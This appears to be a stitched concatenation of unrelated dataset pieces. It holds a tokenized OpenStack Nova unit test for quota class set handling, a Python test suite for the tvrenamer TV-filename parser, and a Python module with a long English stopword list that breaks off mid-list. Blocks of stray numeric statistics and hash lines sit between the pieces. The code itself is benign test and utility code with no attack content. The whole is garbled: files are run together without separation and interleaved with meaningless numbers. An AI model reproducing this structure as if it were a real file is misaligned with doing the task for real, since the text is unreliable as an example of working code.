begin_unit comment|'# Copyright 2012 OpenStack Foundation' nl|'\n' comment|'# All Rights Reserved.' nl|'\n' comment|'#' nl|'\n' comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may' nl|'\n' comment|'# not use this file except in compliance with the License. You may obtain' nl|'\n' comment|'# a copy of the License at' nl|'\n' comment|'#' nl|'\n' comment|'# http://www.apache.org/licenses/LICENSE-2.0' nl|'\n' comment|'#' nl|'\n' comment|'# Unless required by applicable law or agreed to in writing, software' nl|'\n' comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT' nl|'\n' comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the' nl|'\n' comment|'# License for the specific language governing permissions and limitations' nl|'\n' comment|'# under the License.' nl|'\n' nl|'\n' name|'import' name|'webob' newline|'\n' nl|'\n' name|'from' name|'nova' op|'.' name|'api' op|'.' name|'openstack' op|'.' name|'compute' name|'import' name|'extension_info' newline|'\n' name|'from' name|'nova' op|'.' name|'api' op|'.' name|'openstack' op|'.' name|'compute' name|'import' name|'quota_classes' name|'as' name|'quota_classes_v21' newline|'\n' name|'from' name|'nova' name|'import' name|'exception' newline|'\n' name|'from' name|'nova' name|'import' name|'test' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'api' op|'.' name|'openstack' name|'import' name|'fakes' newline|'\n' nl|'\n' nl|'\n' DECL|function|quota_set name|'def' name|'quota_set' op|'(' name|'class_name' op|')' op|':' newline|'\n' indent|' ' name|'return' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'id'" op|':' name|'class_name' op|',' string|"'metadata_items'" op|':' number|'128' op|',' nl|'\n' string|"'ram'" op|':' number|'51200' op|',' string|"'floating_ips'" op|':' number|'10' op|',' nl|'\n' string|"'fixed_ips'" op|':' op|'-' number|'1' op|',' string|"'instances'" op|':' number|'10' op|',' nl|'\n' string|"'injected_files'" op|':' number|'5' op|',' string|"'cores'" op|':' number|'20' op|',' nl|'\n' string|"'injected_file_content_bytes'" op|':' number|'10240' op|',' nl|'\n' string|"'security_groups'" op|':' number|'10' op|',' nl|'\n' string|"'security_group_rules'" op|':' number|'20' op|',' string|"'key_pairs'" op|':' number|'100' op|',' nl|'\n' string|"'injected_file_path_bytes'" op|':' number|'255' op|'}' op|'}' newline|'\n' nl|'\n' nl|'\n' DECL|class|QuotaClassSetsTestV21 dedent|'' name|'class' name|'QuotaClassSetsTestV21' op|'(' name|'test' op|'.' name|'TestCase' op|')' op|':' newline|'\n' DECL|variable|validation_error indent|' ' name|'validation_error' op|'=' name|'exception' op|'.' name|'ValidationError' newline|'\n' nl|'\n' DECL|member|setUp name|'def' name|'setUp' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'QuotaClassSetsTestV21' op|',' name|'self' op|')' op|'.' name|'setUp' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"''" op|')' newline|'\n' name|'self' op|'.' name|'_setup' op|'(' op|')' newline|'\n' nl|'\n' DECL|member|_setup dedent|'' name|'def' name|'_setup' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'ext_info' op|'=' name|'extension_info' op|'.' name|'LoadedExtensionInfo' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'controller' op|'=' name|'quota_classes_v21' op|'.' name|'QuotaClassSetsController' op|'(' nl|'\n' name|'extension_info' op|'=' name|'ext_info' op|')' newline|'\n' nl|'\n' DECL|member|test_format_quota_set dedent|'' name|'def' name|'test_format_quota_set' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'raw_quota_set' op|'=' op|'{' nl|'\n' string|"'instances'" op|':' number|'10' op|',' nl|'\n' string|"'cores'" op|':' number|'20' op|',' nl|'\n' string|"'ram'" op|':' number|'51200' op|',' nl|'\n' string|"'floating_ips'" op|':' number|'10' op|',' nl|'\n' string|"'fixed_ips'" op|':' op|'-' number|'1' op|',' nl|'\n' string|"'metadata_items'" op|':' number|'128' op|',' nl|'\n' string|"'injected_files'" op|':' number|'5' op|',' nl|'\n' string|"'injected_file_path_bytes'" op|':' number|'255' op|',' nl|'\n' string|"'injected_file_content_bytes'" op|':' number|'10240' op|',' nl|'\n' string|"'security_groups'" op|':' number|'10' op|',' nl|'\n' string|"'security_group_rules'" op|':' number|'20' op|',' nl|'\n' string|"'key_pairs'" op|':' number|'100' op|',' nl|'\n' op|'}' newline|'\n' nl|'\n' name|'quota_set' op|'=' name|'self' op|'.' name|'controller' op|'.' name|'_format_quota_set' op|'(' string|"'test_class'" op|',' nl|'\n' name|'raw_quota_set' op|')' newline|'\n' name|'qs' op|'=' name|'quota_set' op|'[' string|"'quota_class_set'" op|']' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'id'" op|']' op|',' string|"'test_class'" op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'instances'" op|']' op|',' number|'10' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'cores'" op|']' op|',' number|'20' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'ram'" op|']' op|',' number|'51200' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'floating_ips'" op|']' op|',' number|'10' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'fixed_ips'" op|']' op|',' op|'-' number|'1' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'metadata_items'" op|']' op|',' number|'128' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'injected_files'" op|']' op|',' number|'5' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'injected_file_path_bytes'" op|']' op|',' number|'255' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'injected_file_content_bytes'" op|']' op|',' number|'10240' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'security_groups'" op|']' op|',' number|'10' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'security_group_rules'" op|']' op|',' number|'20' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'qs' op|'[' string|"'key_pairs'" op|']' op|',' number|'100' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_show dedent|'' name|'def' name|'test_quotas_show' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'res_dict' op|'=' name|'self' op|'.' name|'controller' op|'.' name|'show' op|'(' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'res_dict' op|',' name|'quota_set' op|'(' string|"'test_class'" op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_update dedent|'' name|'def' name|'test_quotas_update' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'instances'" op|':' number|'50' op|',' string|"'cores'" op|':' number|'50' op|',' nl|'\n' string|"'ram'" op|':' number|'51200' op|',' string|"'floating_ips'" op|':' number|'10' op|',' nl|'\n' string|"'fixed_ips'" op|':' op|'-' number|'1' op|',' string|"'metadata_items'" op|':' number|'128' op|',' nl|'\n' string|"'injected_files'" op|':' number|'5' op|',' nl|'\n' string|"'injected_file_content_bytes'" op|':' number|'10240' op|',' nl|'\n' string|"'injected_file_path_bytes'" op|':' number|'255' op|',' nl|'\n' string|"'security_groups'" op|':' number|'10' op|',' nl|'\n' string|"'security_group_rules'" op|':' number|'20' op|',' nl|'\n' string|"'key_pairs'" op|':' number|'100' op|'}' op|'}' newline|'\n' nl|'\n' name|'res_dict' op|'=' name|'self' op|'.' name|'controller' op|'.' name|'update' op|'(' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' nl|'\n' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'res_dict' op|',' name|'body' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_update_with_empty_body dedent|'' name|'def' name|'test_quotas_update_with_empty_body' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'body' op|'=' op|'{' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'self' op|'.' name|'validation_error' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_update_with_invalid_integer dedent|'' name|'def' name|'test_quotas_update_with_invalid_integer' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'instances'" op|':' number|'2' op|'**' number|'31' op|'+' number|'1' op|'}' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'self' op|'.' name|'validation_error' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_update_with_long_quota_class_name dedent|'' name|'def' name|'test_quotas_update_with_long_quota_class_name' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'name' op|'=' string|"'a'" op|'*' number|'256' newline|'\n' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'instances'" op|':' number|'10' op|'}' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'webob' op|'.' name|'exc' op|'.' name|'HTTPBadRequest' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' name|'name' op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_update_with_non_integer dedent|'' name|'def' name|'test_quotas_update_with_non_integer' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'instances'" op|':' string|'"abc"' op|'}' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'self' op|'.' name|'validation_error' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'instances'" op|':' number|'50.5' op|'}' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'self' op|'.' name|'validation_error' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' nl|'\n' string|"'instances'" op|':' string|"u'\\u30aa\\u30fc\\u30d7\\u30f3'" op|'}' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'self' op|'.' name|'validation_error' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' DECL|member|test_quotas_update_with_unsupported_quota_class dedent|'' name|'def' name|'test_quotas_update_with_unsupported_quota_class' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' string|"'instances'" op|':' number|'50' op|',' string|"'cores'" op|':' number|'50' op|',' nl|'\n' string|"'ram'" op|':' number|'51200' op|',' string|"'unsupported'" op|':' number|'12' op|'}' op|'}' newline|'\n' name|'self' op|'.' name|'assertRaises' op|'(' name|'self' op|'.' name|'validation_error' op|',' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' nl|'\n' name|'self' op|'.' name|'req' op|',' string|"'test_class'" op|',' name|'body' op|'=' name|'body' op|')' newline|'\n' nl|'\n' nl|'\n' DECL|class|QuotaClassesPolicyEnforcementV21 dedent|'' dedent|'' name|'class' name|'QuotaClassesPolicyEnforcementV21' op|'(' name|'test' op|'.' name|'NoDBTestCase' op|')' op|':' newline|'\n' nl|'\n' DECL|member|setUp indent|' ' name|'def' name|'setUp' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'QuotaClassesPolicyEnforcementV21' op|',' name|'self' op|')' op|'.' name|'setUp' op|'(' op|')' newline|'\n' name|'ext_info' op|'=' name|'extension_info' op|'.' name|'LoadedExtensionInfo' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'controller' op|'=' name|'quota_classes_v21' op|'.' name|'QuotaClassSetsController' op|'(' nl|'\n' name|'extension_info' op|'=' name|'ext_info' op|')' newline|'\n' name|'self' op|'.' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"''" op|')' newline|'\n' nl|'\n' DECL|member|test_show_policy_failed dedent|'' name|'def' name|'test_show_policy_failed' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'rule_name' op|'=' string|'"os_compute_api:os-quota-class-sets:show"' newline|'\n' name|'self' op|'.' name|'policy' op|'.' name|'set_rules' op|'(' op|'{' name|'rule_name' op|':' string|'"quota_class:non_fake"' op|'}' op|')' newline|'\n' name|'exc' op|'=' name|'self' op|'.' name|'assertRaises' op|'(' nl|'\n' name|'exception' op|'.' name|'PolicyNotAuthorized' op|',' nl|'\n' name|'self' op|'.' name|'controller' op|'.' name|'show' op|',' name|'self' op|'.' name|'req' op|',' name|'fakes' op|'.' name|'FAKE_UUID' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' nl|'\n' string|'"Policy doesn\'t allow %s to be performed."' op|'%' name|'rule_name' op|',' nl|'\n' name|'exc' op|'.' name|'format_message' op|'(' op|')' op|')' newline|'\n' nl|'\n' DECL|member|test_update_policy_failed dedent|'' name|'def' name|'test_update_policy_failed' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'rule_name' op|'=' string|'"os_compute_api:os-quota-class-sets:update"' newline|'\n' name|'self' op|'.' name|'policy' op|'.' name|'set_rules' op|'(' op|'{' name|'rule_name' op|':' string|'"quota_class:non_fake"' op|'}' op|')' newline|'\n' name|'exc' op|'=' name|'self' op|'.' name|'assertRaises' op|'(' nl|'\n' name|'exception' op|'.' name|'PolicyNotAuthorized' op|',' nl|'\n' name|'self' op|'.' name|'controller' op|'.' name|'update' op|',' name|'self' op|'.' name|'req' op|',' name|'fakes' op|'.' name|'FAKE_UUID' op|',' nl|'\n' name|'body' op|'=' op|'{' string|"'quota_class_set'" op|':' op|'{' op|'}' op|'}' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' nl|'\n' string|'"Policy doesn\'t allow %s to be performed."' op|'%' name|'rule_name' op|',' nl|'\n' name|'exc' op|'.' name|'format_message' op|'(' op|')' op|')' newline|'\n' dedent|'' dedent|'' endmarker|'' end_unit
12.487388
88
0.604548
2,263
15,347
3.995581
0.085285
0.132714
0.085158
0.095996
0.848153
0.823601
0.792966
0.764654
0.726609
0.665008
0
0.01319
0.09598
15,347
1,228
89
12.497557
0.638533
0
0
0.948697
0
0
0.361699
0.057992
0
0
0
0
0.021173
0
null
null
0
0.004886
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
4763117441473dcedfb0a37b1d160b3fc7224857
9,126
py
Python
tvrenamer/tests/core/test_parser.py
shad7/tvrenamer
7fb59cb02669357e73b7acb92dcb6d74fdff4654
[ "MIT" ]
1
2017-11-25T05:01:24.000Z
2017-11-25T05:01:24.000Z
tvrenamer/tests/core/test_parser.py
shad7/tvrenamer
7fb59cb02669357e73b7acb92dcb6d74fdff4654
[ "MIT" ]
2
2015-09-19T05:08:58.000Z
2016-12-15T18:52:07.000Z
tvrenamer/tests/core/test_parser.py
shad7/tvrenamer
7fb59cb02669357e73b7acb92dcb6d74fdff4654
[ "MIT" ]
2
2019-05-10T12:36:04.000Z
2021-01-03T19:59:45.000Z
from tvrenamer.core import parser from tvrenamer.tests import base class ParserTest(base.BaseTest): def test_parse_filename(self): fname = 'Sample-Show.S02E15' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [15]) fname = 'Sample-Show' result = parser.parse_filename(fname) self.assertIsNone(result) fname = 'Sample-Show.S02E15' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [15]) fname = 'The Wire s05e10 30.mp4' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'The Wire', result) self.assertEqual(result['season_number'], 5) self.assertEqual(result['episode_numbers'], [10]) fname = '30 Rock [2.10] Episode 210.avi' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], '30 Rock', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [10]) def test_parse_expr1(self): fname = 'Sample.Show.S01E01.S01E02.S01E03.S01E04.eps.mp4' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [1, 2, 3, 4]) def test_parse_expr2(self): fname = 'Sample-Show.S02e22e23e24' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [22, 23, 24]) def test_parse_expr3(self): fname = 'Sample.Show.3x12.3x13.3x14' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 3) self.assertEqual(result['episode_numbers'], [12, 13, 14]) def test_parse_expr4(self): fname = 'Sample.Show.4x4x5x6' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 4) self.assertEqual(result['episode_numbers'], [4, 5, 6]) def test_parse_expr5(self): fname = 'Sample.Show.S02E11-15-' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [11, 12, 13, 14, 15]) def test_parse_expr6(self): fname = 'Sample-Show.2x11-15' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [11, 12, 13, 14, 15]) fname = 'Sample-Show.2x15-12' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [12, 13, 14, 15]) def test_parse_expr7(self): fname = 'Sample-Show.[3x11-13]' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 3) self.assertEqual(result['episode_numbers'], [11, 12, 13]) def test_parse_expr8(self): fname = 'Sample.Show-[013]' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [13]) def test_parse_expr9(self): fname = 'Sample.S0202' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample', result) self.assertEqual(result['season_number'], 2) self.assertEqual(result['episode_numbers'], [2]) def test_parse_expr10(self): fname = 'Sample_Show-7x17' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample_Show', result) self.assertEqual(result['season_number'], 7) self.assertEqual(result['episode_numbers'], [17]) def test_parse_expr11(self): fname = 'Sample-Show S09.E11' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 9) self.assertEqual(result['episode_numbers'], [11]) fname = 'Sample-Show S09_E11' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 9) self.assertEqual(result['episode_numbers'], [11]) fname = 'Sample-Show S09 - E11' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample-Show', result) self.assertEqual(result['season_number'], 9) self.assertEqual(result['episode_numbers'], [11]) def test_parse_expr12(self): fname = 'Sample_Show-[09.01]' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample_Show', result) self.assertEqual(result['season_number'], 9) self.assertEqual(result['episode_numbers'], [1]) def test_parse_expr13(self): fname = 'Sample.Show - S9 E 9' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 9) self.assertEqual(result['episode_numbers'], [9]) def test_parse_expr14(self): fname = 'SampleShow - episode 1219 [S 13 - E 07]' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'SampleShow', result) self.assertEqual(result['season_number'], 13) self.assertEqual(result['episode_numbers'], [7]) fname = 'SampleShow - episode 1219 [S 13 Ep 07]' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'SampleShow', result) self.assertEqual(result['season_number'], 13) self.assertEqual(result['episode_numbers'], [7]) def test_parse_expr15(self): fname = 'Sample Show 2 of 7' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [2]) def test_parse_expr16(self): fname = 'Sample.Show.Part.1.and.Part.2 ' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [1, 2]) fname = 'Sample.Show.pt.1 & pt 2 & pt.3 ' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [1, 2, 3]) def test_parse_expr17(self): fname = 'Sample Show part 5 ' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [5]) def test_parse_expr18(self): fname = 'Sample.Show season 10 episode 15' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample.Show', result) self.assertEqual(result['season_number'], 10) self.assertEqual(result['episode_numbers'], [15]) def test_parse_expr19(self): fname = 'Sample Show 909 ' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample Show', result) self.assertEqual(result['season_number'], 9) self.assertEqual(result['episode_numbers'], [9]) def test_parse_expr20(self): fname = 'Sample Show 1011 ' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample Show', result) self.assertEqual(result['season_number'], 10) self.assertEqual(result['episode_numbers'], [11]) def test_parse_expr21(self): fname = 'Sample Show e19 ' result = parser.parse_filename(fname) self.assertEqual(result['series_name'], 'Sample Show', result) self.assertEqual(result['season_number'], 1) self.assertEqual(result['episode_numbers'], [19])
43.04717
73
0.65275
1,072
9,126
5.398321
0.103545
0.233281
0.326594
0.133921
0.828581
0.808536
0.778642
0.774149
0.771039
0.762053
0
0.042271
0.206772
9,126
211
74
43.251185
0.757149
0
0
0.58427
0
0
0.238988
0.018519
0
0
0
0
0.511236
1
0.123596
false
0
0.011236
0
0.140449
0
0
0
0
null
1
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
9
9a5199bb67ce68d82234c400c11f48e9701caa6c
5,983
py
Python
solutions/projectstaffing/pygraph/azure_processing/pygraph_utils/taxo_utils/data/stopwords.py
dgeorge-blueprint/dataconnect-solutions
40f54abb98af6a3cdb1389086f7d7270d40fa9b6
[ "MIT" ]
10
2021-06-18T16:32:07.000Z
2022-02-11T06:25:03.000Z
solutions/projectstaffing/pygraph/azure_processing/pygraph_utils/taxo_utils/data/stopwords.py
dgeorge-blueprint/dataconnect-solutions
40f54abb98af6a3cdb1389086f7d7270d40fa9b6
[ "MIT" ]
13
2021-05-27T00:48:15.000Z
2022-01-08T16:13:59.000Z
solutions/projectstaffing/pygraph/azure_processing/pygraph_utils/taxo_utils/data/stopwords.py
dgeorge-blueprint/dataconnect-solutions
40f54abb98af6a3cdb1389086f7d7270d40fa9b6
[ "MIT" ]
18
2021-06-03T13:43:43.000Z
2022-03-25T11:04:47.000Z
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT license. See LICENSE file in the project root for full license information. # wrapped from ./stopwords.txt stopwords_list = "&amp,'d,'ll,'m,'re,'s,'ve,/r/rekt,/slow,::slow,\\*slow,\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\,a,a's,able,about,above,abst,accordance,according,accordingly,aces,across,act,actually,added,adj,affected,affecting,affects,after,afterwards,again,against,ah,ain,ain't,all,allow,allows,almost,alone,along,already,also,although,always,am,among,amongst,amount,amp,an,and,announce,another,any,anybody,anyhow,anymore,anyone,anything,anyway,anyways,anywhere,apart,apparently,appear,appreciate,appropriate,approximately,are,aren,aren't,arent,arise,around,as,as many,aside,ask,asking,associated,at,auth,available,away,awfully,b,back,bcoz,be,became,because,become,becomes,becoming,been,before,beforehand,begin,beginning,beginnings,begins,behind,being,believe,below,beside,besides,best,better,between,beyond,bigger,biol,bookie,bossman,both,bottom,brief,briefly,bu,but,by,c,c'mon,c's,ca,call,came,can,can't,cannot,cant,cause,causes,certain,certainly,changes,clap,clap-,clap-clap,clap-clap-clap,clapclap,clapclapclap,clapclapclapclap,clearly,co,com,come,comes,concerning,consequently,consider,considering,contain,containing,contains,corresponding,could,couldn,couldn't,couldnt,course,cud,current,currently,d,date,dedicated,definitely,described,despite,did,didn,didn't,different,dnt,do,does,doesn,doesn't,doing,don,don't,done,down,downwards,due,during,e,each,ed,edu,effect,eg,eh&amp;s,eight,eighty,either,eleven,else,elsewhere,empty,end,ending,enough,entirely,especially,et,et-al,etc,even,ever,every,everybody,everyone,everything,everywhere,ex,exactly,example,except,eyeroll,ez,f,far,few,fifteen,fifth,fifty,finance-&amp,first,five,fix,followed,following,follows,for,former,formerly,forth,forty,found,four,fp&amp;a,fp&amp;a-roles,from,front,full,further,furthermore,g,gave,get,gets,getting,give,given,gives,giving,go,goes,going,gone,got,gotten,greetings,h,ha,haaa,haaaa,had,hadn,hadn't,happens,happy,hardly,has,hasn,hasn't,hav,have,haven,haven't,having,he,he'd,he'll,he's,hed,hello,help,hence,her,here,here's,hereafter,hereby,herein,heres,hereupon,hers,herself,hes,hi,hic,hid,him,himself,his,hither,home,hopefully,how,how's,howbeit,however,hq](http://hq.porygon.co/u/pancham4#fhq’,hundred,i,i'd,i'll,i'm,i've,id,ie,if,ignored,im,immediate,immediately,importance,important,in,inasmuch,inc,indeed,index,india,indicate,indicated,indicates,information,inner,insofar,instead,internet,into,invention,inward,is,isn,isn't,it,it'd,it'll,it's,itd,its,itself,j,jus,just,k,keep,keeps,kept,kg,km,know,known,knows,l,largely,larger,last,lately,later,latter,latterly,least,less,lest,let,let's,lets,liao,like,liked,likely,line,little,ll,lols,look,looking,looks,lool,ltd,m,ma,made,mainly,make,makes,makin,many,may,maybe,me,mean,means,meantime,meanwhile,merely,mg,might,mightn,mightn't,million,mine,miss,ml,more,moreover,most,mostly,move,mr,mrs,much,mug,multiple,multiply,must,mustn,mustn't,my,myself,n,n't,na,name,namely,nay,nd,near,nearly,necessarily,necessary,need,needn,needn't,needs,neither,never,nevertheless,new,next,nice,nine,ninety,no,nobody,non,none,nonetheless,noone,nor,normally,nos,not,noted,nothing,novel,now,nowhere,o,obtain,obtained,obviously,of,off,often,oh,ok,okay,old,omitted,on,once,one,ones,only,onto,or,ord,other,others,otherwise,ought,our,ours,ourselves,out,outside,over,overall,owing,own,p,page,pages,part,particular,particularly,past,peh,per,perhaps,placed,please,plus,poorly,possible,possibly,potentially,pp,predominantly,present,presumably,previously,primarily,probably,promptly,proud,provides,put,q,quack,que,quickly,quite,qv,r,ran,rather,rd,re,readily,really,reasonably,recent,recently,ref,refs,regarding,regardless,regards,related,relatively,research,respectively,resulted,resulting,results,right,run,s,said,same,saw,say,saying,says,sec,second,secondly,section,see,seeing,seem,seemed,seeming,seems,seen,self,selves,sensible,sent,separate,separately,serious,seriously,seven,several,shall,shan,shan't,she,she'd,she'll,she's,shed,shes,sho,should,should've,shouldn,shouldn't,show,showed,shown,showns,shows,shud,shuld,side,significant,significantly,similar,similarly,simpleton,since,six,sixty,slightly,small,smaller,so,some,somebody,somehow,someone,somethan,something,sometime,sometimes,somewhat,somewhere,soon,sorry,specifically,specified,specify,specifying,still,stop,strongly,sub,substantially,successfully,such,sufficiently,suggest,sup,sure,t,t's,take,taken,taking,tell,ten,tends,th,than,thank,thanks,thanx,that,that'll,that's,that've,thats,the,their,theirs,them,themselves,then,thence,there,there'll,there's,there've,thereafter,thereby,thered,therefore,therein,thereof,therere,theres,thereto,thereupon,these,they,they'd,they'll,they're,they've,theyd,theyre,think,third,this,thorough,thoroughly,those,thou,though,thoughh,thousand,three,throug,through,throughout,thru,thus,t